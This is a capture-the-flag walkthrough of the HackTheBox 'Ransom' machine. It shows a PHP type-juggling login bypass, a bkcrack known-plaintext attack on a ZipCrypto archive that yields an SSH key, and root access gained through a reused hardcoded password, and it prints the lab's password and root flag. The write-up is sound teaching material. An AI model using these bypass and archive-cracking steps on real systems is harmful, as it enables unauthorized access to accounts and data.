HackTheBox - Ransom

Walkthrough of HTB Ransom

High Level Overview

  • The initial exploitation to web interface was exploited with a login bypass due to PHP Type Juggling Vulnerability.

  • The second stage exploitation was gained through cracking a zipped file via ZipCrypto decode method that gave us the ssh key to the machine.

  • The privilege escalation was possible because of clear-text root password in the machine that gave access to root user.

Initial Enumeration

Starting the enumeration with a nmap service scan.

root@kali ~/h/ransom# nmap -sC -sV -O 10.10.11.153
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-29 01:53 EDT
Nmap scan report for 10.10.11.153
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title:  Admin - HTML5 Admin Template
|_Requested resource was http://10.10.11.153/login
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.94 seconds

The machines has two ports open - 22 and 80. Visiting port 80 webpage.

The web-page hosts a normal login page that requires password to login. Default passwords combination didn't worked. Some basic SQLI parameters also didn't worked.

Type random password and intercept the requests in the background using burp.

In the above request there is a cookie called laravel_session which indicates that the application running on Laravel Framework. Send this request to repeater.

Now tampering the request body to see how the application reacts. First remove the 'password' value.

This resulted an output in JSON format.

Now right click and select 'Change request method', this will change GET request to POST and vice versa. Then send the request.

From the response gave 405 method not allowed but if we change the remove the POST and replace it with GET.

The response gave a weird error. Now this comes down to trail and error method where we try to tamper the request body to check the behavior of the response that an application gives. After some trial and error session if we remove this header

X-Requested-With: XMLHttpRequest

This gave a unique re-directing error back to the login page. Again if we change the request method to JSON format.

Got a 200 Ok Response that gave normal 'Invalid Password'. Now we can move towards exploitation phase.

Initial Exploitation

Looking at the parameters and requests that we tampered and experimented with indicates the possibility of PHP Type Juggling vulnerability. This means that variable types are checked while the program is executing. Dynamic typing allows developers to be more flexible when using PHP. But this kind of flexibility sometimes causes unexpected errors in the program flow and can even introduce critical vulnerabilities into the application. In short, if PHP has loose comparison i.e '==' then it get confused and treats different elements as same. For example, it can treat integer as string.

Note - In the end of the blog I've explained PHP Type Juggling in detail and also showed the vulnerable code responsible for it. If you want to read more please refer the Source Code Analysis section

The basic login bypass of PHP Type Juggling is to present the value as boolean.

Changing the password parameter value to boolean true successfully bypassed the login. Now to bypass login on the fly, first type random password on the login field and intercept the request in burp.

Now we can do two things, either make changes as we did in the repeater tab or copy-paste the entire request body. We can prefer the second method.

Now right click then Do intercept -> Response to this request. Then click on forward.

The login is bypassed successfully. Forward the request. Check the browser.

After successful bypass of login. We are presented with two files. The second one is the user.txt

Now download the second folder.

While unzipping the file. We are presented with a password prompt.

root@kali ~/h/ransom# unzip uploaded-file-3422.zip 
Archive:  uploaded-file-3422.zip
[uploaded-file-3422.zip] .bash_logout password:

We can also list the contents inside the zip file.

root@kali ~/h/ransom# 7z l uploaded-file-3422.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Pentium(R) CPU G4560 @ 3.50GHz (906E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 7735 bytes (8 KiB)

Listing archive: uploaded-file-3422.zip

--
Path = uploaded-file-3422.zip
Type = zip
Physical Size = 7735

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2020-02-25 08:03:22 .....          220          170  .bash_logout
2020-02-25 08:03:22 .....         3771         1752  .bashrc
2020-02-25 08:03:22 .....          807          404  .profile
2021-07-02 14:58:14 D....            0            0  .cache
2021-07-02 14:58:14 .....            0           12  .cache/motd.legal-displayed
2021-07-02 14:58:19 .....            0           12  .sudo_as_admin_successful
2022-03-07 08:32:54 D....            0            0  .ssh
2022-03-07 08:32:25 .....         2610         1990  .ssh/id_rsa
2022-03-07 08:32:46 .....          564          475  .ssh/authorized_keys
2022-03-07 08:32:54 .....          564          475  .ssh/id_rsa.pub
2022-03-07 08:32:54 .....         2009          581  .viminfo
------------------- ----- ------------ ------------  ------------------------
2022-03-07 08:32:54              10545         5871  9 files, 2 folders

There is a ssh id_rsa key that can give us ssh access to the machine. Listing the metadata of the zip file.

root@kali ~/h/ransom# 7z l -slt uploaded-file-3422.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Pentium(R) CPU G4560 @ 3.50GHz (906E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 7735 bytes (8 KiB)

Listing archive: uploaded-file-3422.zip

--
Path = uploaded-file-3422.zip
Type = zip
Physical Size = 7735

----------
Path = .bash_logout
Folder = -
Size = 220
Packed Size = 170
Modified = 2020-02-25 08:03:22
Created = 
Accessed = 
Attributes = _ -rw-r--r--
Encrypted = +
Comment = 
CRC = 6CE3189B
Method = ZipCrypto Deflate
Host OS = Unix
Version = 20
Volume Index = 0

The method that was used to encrypt the file → ZipCrypto Deflate that is vulnerable to plain text attack.

The Method is ZipCrypto, which is the less secure algorithm. The CRC32 from the Zip output above is 6CE3189B. That is a CRC of the decrypted file, used after decryption to verify the correct file resulted.

Second Phase Exploitation

Refer the article below to understand the steps in details.

https://medium.com/@whickey000/how-i-cracked-conti-ransomware-groups-leaked-source-code-zip-file-e15d54663a8

Download the bkcrack tool

https://github.com/kimci86/bkcrack/releases/tag/v1.3.5

Then unzip the file and get the copy the binary to your working directory.

root@kali ~/h/ransom# tar -xvf bkcrack-1.3.5-Linux.tar.gz 
bkcrack-1.3.5-Linux/example/
bkcrack-1.3.5-Linux/example/secrets.zip
bkcrack-1.3.5-Linux/example/tutorial.md
bkcrack-1.3.5-Linux/bkcrack
bkcrack-1.3.5-Linux/tools/
bkcrack-1.3.5-Linux/tools/deflate.py
bkcrack-1.3.5-Linux/tools/inflate.py
bkcrack-1.3.5-Linux/license.txt
bkcrack-1.3.5-Linux/readme.md

Of the files in the archive, .bash_logout seems like a good candidate. user.txt could work, but with HTB flag rotation, it actually won’t. .bash_logout is a file that is not commonly changed. The one in the zip is 220 bytes. If you do not have a .bash_logout file or is not the proper size of 220 bytes, then download it from the github repo link.

https://raw.githubusercontent.com/kaiwalyakoparkar/dotfiles/main/bash_logout

Download and change the name

root@kali ~/h/ransom# wget https://raw.githubusercontent.com/kaiwalyakoparkar/dotfiles/main/bash_logout
--2022-03-29 03:00:46--  https://raw.githubusercontent.com/kaiwalyakoparkar/dotfiles/main/bash_logout
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 220 [text/plain]
Saving to: ‘bash_logout’

bash_logout                               100%[====================================================================================>]     220  --.-KB/s    in 0s      

2022-03-29 03:00:47 (6.18 MB/s) - ‘bash_logout’ saved [220/220]

root@kali ~/h/ransom# mv bash_logout .bash_logout
root@kali ~/h/ransom# ls -al .bash_logout
-rw-r--r-- 1 root root 220 Mar 29 03:00 .bash_logout

Now we have .bash_logout file of size 220. Now zip the .bash_logout file.

root@kali ~/h/ransom# zip bash_logout.zip .bash_logout 
  adding: .bash_logout (deflated 28%)

Checking the CRC value of our zip file and matching it with the original zip file.

root@kali ~/h/ransom# 7z l -slt bash_logout.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Pentium(R) CPU G4560 @ 3.50GHz (906E9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 332 bytes (1 KiB)

Listing archive: bash_logout.zip

--
Path = bash_logout.zip
Type = zip
Physical Size = 332

----------
Path = .bash_logout
Folder = -
Size = 220
Packed Size = 158
Modified = 2022-03-29 03:00:47
Created = 
Accessed = 
Attributes = _ -rw-r--r--
Encrypted = -
Comment = 
CRC = 6CE3189B
Method = Deflate
Host OS = Unix
Version = 20
Volume Index = 0

Values matched ! Now using bkcrack tool for executing the attack.

root@kali ~/h/ransom# ./bkcrack -C uploaded-file-3422.zip -c .bash_logout -P bash_logout.zip -p .bash_logout 
bkcrack 1.3.5 - 2022-03-06
[03:06:34] Z reduction using 150 bytes of known plaintext
100.0 % (150 / 150)
[03:06:34] Attack on 57097 Z values at index 7
Keys: 7b549874 ebc25ec5 7e465e18
78.6 % (44870 / 57097)
[03:09:40] Keys
7b549874 ebc25ec5 7e465e18

Explaining the flags in the above command:

  • -C: the encrypted zip file

  • -c: the name of the encrypted but known file in the zip

  • -P: an unencrypted zip with the file in it

  • -p: the name of the file in the unencrypted zip

We got the keys in the output. Running bkcrack again.

root@kali ~/h/ransom# ./bkcrack -C uploaded-file-3422.zip -k 7b549874 ebc25ec5 7e465e18 -U unzipped.zip test123
bkcrack 1.3.5 - 2022-03-06
[03:12:40] Writing unlocked archive unzipped.zip with password "test123"
100.0 % (9 / 9)
Wrote unlocked archive.

Now unzip the new file with newly password we generated - test123

root@kali ~/h/ransom# unzip unzipped.zip 
Archive:  unzipped.zip
[unzipped.zip] .bash_logout password: 
replace .bash_logout? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: .bash_logout            
  inflating: .bashrc                 
  inflating: .profile                
   creating: .cache/
 extracting: .cache/motd.legal-displayed  
 extracting: .sudo_as_admin_successful  
   creating: .ssh/
  inflating: .ssh/id_rsa             
  inflating: .ssh/authorized_keys    
  inflating: .ssh/id_rsa.pub         
  inflating: .viminfo

The zip if cracked and the contents have been extracted successfully. Now checking the ssh public key to get the username to login into.

root@kali ~/h/ransom# cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDrDTHWkTw0RUfAyzj9U3Dh+ZwhOUvB4EewA+z6uSunsTo3YA0GV/j6EaOwNq6jdpNrb9T6tI+RpcNfA+icFj+6oRj8hOa2q1QPfbaej2uY4MvkVC+vGac1BQFs6gt0BkWM9JY7nYJ2y0SIibiLDDB7TwOx6gem4Br/35PW2sel8cESyR7JfGjuauZM/DehjJJGfqmeuZ2Yd2Umr4rAt0R4OEAcWpOX94Tp+JByPAT5m0CU557KyarNlW60vy79njr8DR8BljDtJ4n9BcOPtEn+7oYvcLVksgM4LB9XzdDiXzdpBcyi3+xhFznFKDYUf6NfAud2sEWae7iIsCYtmjx6Jr9Zi2MoUYqWXSal8o6bQDIDbyD8hApY5apdqLtaYMXpv+rMGQP5ZqoGd3izBM9yZEH8d9UQSSyym/te07GrCax63tb6lYgUoUPxVFCEN4RmzW1VuQGvxtfhu/rK5ofQPac8uaZskY3NWLoSF56BQqEG9waI4pCF5/Cq413N6/M= htb@ransom

Now give executable permission to the private id_rsa key.

root@kali ~/h/ransom# chmod 700 .ssh/id_rsa
root@kali ~/h/ransom# ls -al .ssh/id_rsa
-rwx------ 1 root root 2610 Mar  7 07:32 .ssh/id_rsa

Login into machine using the id_rsa key via ssh.

ssh -i .ssh/id_rsa htb@10.10.11.153

Successfully got SSH access as user 'htb'.

Privilege Escalation

After enumeration, we came around a directory inside the /etc/ as apache2.

htb@ransom:~$ ls -al /etc/apache2/
total 48
drwxr-xr-x 1 root root   228 Mar  7 12:16 .
drwxr-xr-x 1 root root  3094 Mar  8 03:32 ..
-rw-r--r-- 1 root root  7224 Jan  5 14:49 apache2.conf
drwxr-xr-x 1 root root   194 Mar  7 12:16 conf-available
drwxr-xr-x 1 root root   194 Mar  7 12:16 conf-enabled
-rw-r--r-- 1 root root  1782 Sep 30  2020 envvars
-rw-r--r-- 1 root root 31063 Sep 30  2020 magic
drwxr-xr-x 1 root root  3906 Mar  7 12:17 mods-available
drwxr-xr-x 1 root root   818 Mar  7 12:23 mods-enabled
-rw-r--r-- 1 root root   320 Sep 30  2020 ports.conf
drwxr-xr-x 1 root root    64 Mar  7 12:22 sites-available
drwxr-xr-x 1 root root    32 Mar  7 12:22 sites-enabled

Checking the files, we found a web-root files location inside site-enabled directory.

htb@ransom:/etc/apache2/sites-enabled$ cat 000-default.conf 
<VirtualHost *:80>
	ServerAdmin webmaster@localhost
	DocumentRoot /srv/prod/public

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
	    <Directory /srv/prod/public>
	       Options +FollowSymlinks
	       AllowOverride All
	       Require all granted
	    </Directory>
</VirtualHost>

Navigating to /srv/prod/public directory.

htb@ransom:/srv/prod$ ls -al
total 336
drwxr-xr-x 1 www-data www-data    446 Feb 17 22:54 .
drwxr-xr-x 1 root     root          8 Mar  7 12:15 ..
-rw-r--r-- 1 www-data www-data    258 Feb 17 22:54 .editorconfig
-rw-r--r-- 1 www-data www-data    955 Feb 17 22:54 .env
-rw-r--r-- 1 www-data www-data    899 Feb 17 22:54 .env.example
drwxr-xr-x 1 www-data www-data    144 Feb 17 22:54 .git
-rw-r--r-- 1 www-data www-data    152 Feb 17 22:54 .gitattributes
-rw-r--r-- 1 www-data www-data    207 Feb 17 22:54 .gitignore
-rw-r--r-- 1 www-data www-data    194 Feb 17 22:54 .styleci.yml
-rw-r--r-- 1 www-data www-data   3958 Feb 17 22:54 README.md
drwxr-xr-x 1 www-data www-data     72 Feb 17 22:54 app
-rwxr-xr-x 1 www-data www-data   1686 Feb 17 22:54 artisan
drwxr-xr-x 1 www-data www-data     24 Feb 17 22:54 bootstrap
-rw-r--r-- 1 www-data www-data   1745 Feb 17 22:54 composer.json
-rw-r--r-- 1 www-data www-data 289854 Feb 17 22:54 composer.lock
drwxr-xr-x 1 www-data www-data    312 Feb 17 22:54 config
drwxr-xr-x 1 www-data www-data     72 Feb 17 22:54 database
-rw-r--r-- 1 www-data www-data    473 Feb 17 22:54 package.json
-rw-r--r-- 1 www-data www-data   1202 Feb 17 22:54 phpunit.xml
drwxr-xr-x 1 www-data www-data    166 Mar 15 19:16 public
drwxr-xr-x 1 www-data www-data     28 Feb 17 22:54 resources
drwxr-xr-x 1 www-data www-data     74 Mar  7 12:25 routes
-rw-r--r-- 1 www-data www-data    563 Feb 17 22:54 server.php
drwxr-xr-x 1 www-data www-data     32 Feb 17 22:54 storage
drwxr-xr-x 1 www-data www-data     90 Feb 17 22:54 tests
drwxr-xr-x 1 www-data www-data    642 Feb 17 22:54 vendor
-rw-r--r-- 1 www-data www-data    559 Feb 17 22:54 webpack.mix.js

This is the laravel webserver files. We noted during enumeration that there was a laravel_sessioncookie set on visiting the page. There are further clues to show that is the framework in use on this site.

We can find the hardcoded credentials for root user inside one of these files. The simple trick we can use is to utilize the grep command utility.

htb@ransom:/srv/prod$ grep -r "Invalid Password" ../app/Http/Controllers/AuthController.php: return "Invalid Password";

The above command grep the string "Invalid Password" because if we remember whenever we put wrong password on the login page it displays this string. The location of the credentials might be inside AuthControllers.php file. Checking the php file.

htb@ransom:/srv/prod$ cat app/Http/Controllers/AuthController.php
cat: 'app/Http/Controllers/AuthController.php:': No such file or directory
htb@ransom:/srv/prod$ cat app/Http/Controllers/AuthController.php
<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;
use App\Http\Requests\RegisterRequest;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Hash;

class AuthController extends Controller
{
    /**
     * Display login page.
     * 
     * @return \Illuminate\Http\Response
     */
    public function show_login()
    {
        return view('auth.login');
    }



    /**
     * Handle account login
     * 
     */
    public function customLogin(Request $request)
    {
        $request->validate([
            'password' => 'required',
        ]);

        if ($request->get('password') == "UHC-March-Global-PW!") {
            session(['loggedin' => True]);
            return "Login Successful";
        }
  
        return "Invalid Password";
    }

}

We got the clear-text harcoded password for root user.

UHC-March-Global-PW!

Now we can simply su to user root.

Successfully logged in to root user. Grab the flag.

root@ransom:~# cat root.txt 
a4d5e9000007b5eabfb8358b2dd9ac1a

Machine Rooted 🔥

Source Code Analysis & PHP Type Juggling.

To better understand how we exploited PHP Type Juggling to bypass the login. First we need to understand comparison inside PHP. The PHP language consist of two types of comparisions.

  • Loose Comparison: "=="

  • Strict Comparison: "==="

In Loose Comparison if the PHP tries to compare two objects of different types such as one is string and another is integer while having the same value, the it will result in a 'True'.But in the Strict Comparison, both type and value of two objects must be equal otherwise it will result in a 'False'.Let's take a deeper look with and example. On the Linux type -> php -a to spawn a interactive PHP prompt.

First we will take a look at how Loose Comparison works.

In the above statement there are three examples of how loose comparison '==' works. The above code snippet compares two values and print "Success" if the conditions are met.

In the first example:

if ("1" == 1) echo "Success";

The php compares uses loose comparison '=='. In which it compares the string "1" and the integer 1 that resulting in Success because it didn't checked if both objects has same values.

In the second example:

if ("1" == 2) echo "Success";

The output didn't print anything(that means false) because even though it uses '==' the value of both the objects must be same.

In the third example:

if ("1" == true) echo "Success";

The PHP also gets confused on comparing anything with boolean as 'True'. The PHP Type Juggling we exploited for initial foothold followed this logic.

Now we take at how Strict Comparison works.

Now the code above is using strict comparison '==='.

In the first example:

if (1 === 1) echo "Success";
if ("1" === "1") echo "Success"

It compared the type and value of the objects. Both were same so we got a "Success".

In the second example:

if ("Hi" === "Hey") echo "Success";
if (1 === 2) echo "Success";

Even though both the objects were string. It did compare the values.

In the third example:

if (1 === true) echo "Success";
if ("1" === true) echo "Success";

By using the strict comparison. It doesn't get confused when we compare an object with a boolean value.

As we've seen that the loose comparison '==' is very dangerous that can lead to authentication bypass or RCE vulnerability. It is highly advised that we should always use '===' instead of '=='.

In the below is the PHP code snippet from the vulnerable machine that gave us the authentication bypass via Type Juggling.

public function customLogin(Request $request)
    {
        $request->validate([
            'password' => 'required',
        ]);

        return $request;

        if ($request->get('password') == "UHC-March-Global-PW!") {
            session(['loggedin' => True]);
            return "Login Successful";
        }
  
        return "Invalid Password";

In the if statement we can see the comparison between the hard-coded credentials that is a string and the value of the 'password' parameter using the loose '==' comparison. In the burp request we've use boolean to bypass this comparison.

"password":true

The comparison result will be true and we will get access. We can see the behind the scenes of the functions using the php -a on terminal.

This could've not worked if try to use random integer or string.

In this we've used random integer and strings to test. This doesn't result in success because at least values of the two objects must be same. So in this case, random password bruteforce could not have worked. So when there is a login functionality we can try to bypass it with boolean based Type Juggling.

We got the clear image of what happened on back-end when we bypassed it.

Thank You for reading ☺️

Last updated